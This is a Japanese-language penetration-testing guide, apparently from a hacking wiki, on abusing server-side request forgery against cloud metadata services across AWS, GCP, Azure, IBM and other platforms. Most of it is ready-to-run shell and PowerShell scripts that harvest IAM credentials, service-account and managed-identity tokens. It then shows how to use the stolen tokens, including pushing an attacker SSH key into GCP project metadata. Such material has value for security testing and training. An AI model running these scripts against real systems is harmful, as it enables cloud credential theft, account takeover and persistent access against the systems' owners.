AWS
AWS EC2環境におけるSSRFの悪用
メタデータ エンドポイントは、任意のEC2マシン内からアクセスでき、興味深い情報を提供します。URLはhttp://169.254.169.254でアクセス可能です（メタデータに関する情報はこちら ）。
メタデータエンドポイントには2つのバージョン があります。最初の バージョンは、GET リクエストを介してエンドポイントにアクセス することを許可します（したがって、SSRFはこれを悪用できます ）。バージョン2 、IMDSv2 では、トークン を要求するためにPUT リクエストを送信し、HTTPヘッダー を使用して、そのトークンを使って別のHTTPヘッダーでメタデータにアクセスする必要があります（したがって、SSRFで悪用するのはより複雑です ）。
EC2インスタンスがIMDSv2を強制している場合、ドキュメントによると PUTリクエストの応答 はホップ制限が1 になり、EC2インスタンス内のコンテナからEC2メタデータにアクセスすることが不可能になります。
さらに、IMDSv2 は、X-Forwarded-For ヘッダーを含むトークンを取得するためのリクエストもブロックします 。これは、誤って設定されたリバースプロキシがアクセスできないようにするためです。
メタデータエンドポイントに関する情報はドキュメントで確認できます 。次のスクリプトでは、そこからいくつかの興味深い情報が取得されます：
Copy EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER = "X-aws-ec2-metadata-token: $EC2_TOKEN"
URL = "http://169.254.169.254/latest/meta-data"
aws_req = ""
if [ "$( command -v curl )" ]; then
aws_req = "curl -s -f -H '$HEADER'"
elif [ "$( command -v wget )" ]; then
aws_req = "wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
printf "ami-id: " ; eval $aws_req "$URL/ami-id" ; echo ""
printf "instance-action: " ; eval $aws_req "$URL/instance-action" ; echo ""
printf "instance-id: " ; eval $aws_req "$URL/instance-id" ; echo ""
printf "instance-life-cycle: " ; eval $aws_req "$URL/instance-life-cycle" ; echo ""
printf "instance-type: " ; eval $aws_req "$URL/instance-type" ; echo ""
printf "region: " ; eval $aws_req "$URL/placement/region" ; echo ""
echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info" ; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document" ; echo ""
echo ""
echo "Network Info"
for mac in $( eval $aws_req "$URL/network/interfaces/macs/" 2> /dev/null ); do
echo "Mac: $mac"
printf "Owner ID: " ; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id" ; echo ""
printf "Public Hostname: " ; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname" ; echo ""
printf "Security Groups: " ; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups" ; echo ""
echo "Private IPv4s:" ; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/" ; echo ""
printf "Subnet IPv4: " ; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block" ; echo ""
echo "PrivateIPv6s:" ; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s" ; echo ""
printf "Subnet IPv6: " ; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks" ; echo ""
echo "Public IPv4s:" ; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s" ; echo ""
echo ""
done
echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $( eval $aws_req "$URL/iam/security-credentials/" 2> /dev/null ); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role" ; echo ""
echo ""
done
echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"
echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance" ; echo "" 公開されているIAM資格情報 の例として、次のリンクを訪問できます: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws
また、次のリンクで公開されているEC2セキュリティ資格情報 を確認できます: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
その後、これらの資格情報をAWS CLIで使用する ことができます。これにより、そのロールが持つ権限でできることは何でも 行うことができます。
新しい資格情報を利用するには、次のように新しいAWSプロファイルを作成する必要があります:
Copy [profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw= 注意してください、aws_session_token は、プロファイルが機能するために不可欠です。
PACU
AWS ECS（コンテナサービス）における SSRF 資格情報
ECS は、アプリケーションを実行するためのEC2インスタンスの論理グループであり、ECSがクラスター管理インフラストラクチャを管理するため、自分でスケールする必要はありません。ECS で実行されているサービスを侵害することに成功すれば、メタデータエンドポイントが変更されます 。
_http://169.254.170.2/v2/credentials/<GUID> _にアクセスすると、ECSマシンの資格情報が見つかります。しかし、まずは**<GUID>を見つける必要があります。<GUID>を見つけるには、マシン内の environ変数 AWS_CONTAINER_CREDENTIALS_RELATIVE_URI**を読む必要があります。
Path Traversal を利用してfile:///proc/self/environを読み取ることができるかもしれません。
前述のhttpアドレスは、AccessKey、SecretKey、およびトークン を提供するはずです。
Copy curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
注意してほしいのは、いくつかのケース では、コンテナからEC2メタデータインスタンス にアクセスできることです（前述のIMDSv2 TTL制限を確認してください）。これらのシナリオでは、コンテナからコンテナIAMロールとEC2 IAMロールの両方にアクセスできます。
AWS LambdaのSSRF
この場合、資格情報は環境変数に保存されています 。したがって、それにアクセスするには、**file:///proc/self/environ**のようなものにアクセスする必要があります。
興味深い環境変数 の名前 は次のとおりです：
さらに、IAM資格情報に加えて、Lambda関数には関数が起動されるときに関数に渡されるイベントデータ もあります。このデータはランタイムインターフェース を介して関数に提供され、機密 の情報 （stageVariables 内のような）を含む可能性があります。IAM資格情報とは異なり、このデータは標準のSSRFを介して**http://localhost:9001/2018-06-01/runtime/invocation/next**でアクセス可能です。
lambda資格情報 は環境変数 内にあります。したがって、スタックトレース が環境変数を印刷する場合、アプリでエラーを引き起こすことによってそれらを流出させる ことが可能です。
AWS Elastic BeanstalkのSSRF URL
APIからaccountIdとregionを取得します。
Copy http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role 次に、APIからAccessKeyId、SecretAccessKey、およびTokenを取得します。
Copy http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role 次に、aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/の資格情報を使用します。
GCP
メタデータエンドポイントに関するドキュメントはこちらで見つけることができます
Google CloudのSSRF URL
HTTPヘッダー**Metadata-Flavor: Google**が必要で、次のURLでメタデータエンドポイントにアクセスできます：
http://metadata.google.internal
情報を抽出するための興味深いエンドポイント：
Copy # /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive= true
# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize
# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo " ============== "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig
# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google" Betaは現在、ヘッダーを必要としません（Mathias Karlsson @avlidienbrunnに感謝）。
Copy http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
抽出されたサービスアカウントトークンを使用するには 、次のようにするだけです:
Copy # Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN =< token >
gcloud projects list
# Via setup
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file SSHキーを追加する
トークンを抽出する
Copy http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json トークンのスコープを確認します（前の出力を使用するか、次のコマンドを実行します）
Copy curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
"issued_to" : "101302079XXXXX" ,
"audience" : "10130207XXXXX" ,
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in" : 2443,
"access_type" : "offline"
} 今すぐSSHキーをプッシュします。
Copy curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}' Cloud Functions
メタデータエンドポイントは、VMと同様に機能しますが、一部のエンドポイントがありません：
Copy # /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done Digital Ocean
AWSロールやGCPサービスアカウントのようなものはないので、メタデータボットの資格情報を見つけることは期待しないでください
Documentation available at https://developers.digitalocean.com/documentation/metadata/
Copy curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq Azure
Azure VM
Docs はこちら
必ず ヘッダー Metadata: true を含む必要があります
X-Forwarded-For ヘッダーを 含んではいけません
Bash PS
Copy HEADER = "Metadata:true"
URL = "http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"
echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"
echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"
echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"
echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"
echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
Copy # Powershell
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))
# Paths
/metadata/instance?api-version =2017-04-02
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version =2017-04-02 & format = text
/metadata/instance/compute/userData?api-version =2021-01-01 & format = text Azure App Service
env から IDENTITY_HEADER および IDENTITY_ENDPOINT の値を取得できます。それを使用してメタデータサーバーと通信するためのトークンを取得できます。
ほとんどの場合、次のリソースのいずれかのトークンが必要です：
Copy # Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT
# You should also be able to find the folder:
ls /opt/microsoft
#and the file
ls /opt/microsoft/msodbcsql17
# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret: $IDENTITY_HEADER
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01" -H secret: $IDENTITY_HEADER
# API
# Get Subscriptions
URL = "https://management.azure.com/subscriptions?api-version=2020-01-01"
curl -H "Authorization: $TOKEN" "$URL"
# Get current permission on resources in the subscription
URL = "https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"
curl -H "Authorization: $TOKEN" "$URL"
# Get permissions in a VM
URL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl -H "Authorization: $TOKEN" "$URL"
Copy # API request in powershell to management endpoint
$Token = 'eyJ0eX..'
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @ {
Method = 'GET'
Uri = $URI
Headers = @ {
'Authorization' = "Bearer $Token"
}
}
( Invoke-RestMethod @RequestParams).value
# API request to graph endpoint (get enterprise applications)
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @ {
Method = 'GET'
Uri = $URI
Headers = @ {
'Authorization' = "Bearer $Token"
}
}
( Invoke-RestMethod @RequestParams).value
# Using AzureAD Powershell module witho both management and graph tokens
$token = 'eyJ0e..'
$graphaccesstoken = 'eyJ0eX..'
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc
# Try to get current perms over resources
Get-AzResource
## The following error means that the user doesn't have permissions over any resource
Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
At line: 1 char: 1
+ Get-AzResource
+ ~~~~~~~~~~~~~~
+ CategoryInfo : CloseError: (:) [ Get-AzResource ] , ValidationException
+ FullyQualifiedErrorId :
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet IBM Cloud
IBMではデフォルトでメタデータが有効になっていないため、IBMクラウドVM内にいてもアクセスできない可能性があります
Copy export instance_identity_token = ` curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`
# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq さまざまなプラットフォームのメタデータサービスに関するドキュメントは以下に示されており、インスタンスの構成および実行時情報にアクセスする方法を強調しています。各プラットフォームは、メタデータサービスにアクセスするためのユニークなエンドポイントを提供しています。
Packetcloud
Packetcloudのメタデータにアクセスするためのドキュメントは次の場所にあります: https://metadata.packet.net/userdata
OpenStack/RackSpace
ヘッダーの必要性は言及されていません。メタデータには次の方法でアクセスできます:
http://169.254.169.254/openstack
HP Helion
ここでもヘッダーの必要性は言及されていません。メタデータには次の場所でアクセスできます:
http://169.254.169.254/2009-04-04/meta-data/
Oracle Cloud
Oracle Cloudは、さまざまなメタデータの側面にアクセスするための一連のエンドポイントを提供しています:
http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/
Alibaba
Alibabaは、インスタンスおよびイメージIDを含むメタデータにアクセスするためのエンドポイントを提供しています:
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id
Kubernetes ETCD
Kubernetes ETCDは、APIキー、内部IPアドレス、およびポートを保持できます。アクセスは次のように示されます:
curl -L http://127.0.0.1:2379/version
curl http://127.0.0.1:2379/v2/keys/?recursive=true
Docker
Dockerメタデータにはローカルでアクセスでき、コンテナおよびイメージ情報の取得に関する例が示されています:
Dockerソケットを介してコンテナとイメージのメタデータにアクセスするためのシンプルな例:
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
コンテナ内で、Dockerソケットを使用してcurlを実行します:
curl --unix-socket /var/run/docker.sock http://foo/containers/json
curl --unix-socket /var/run/docker.sock http://foo/images/json
Rancher
Rancherのメタデータには次のようにアクセスできます:
curl http://rancher-metadata/<version>/<path>
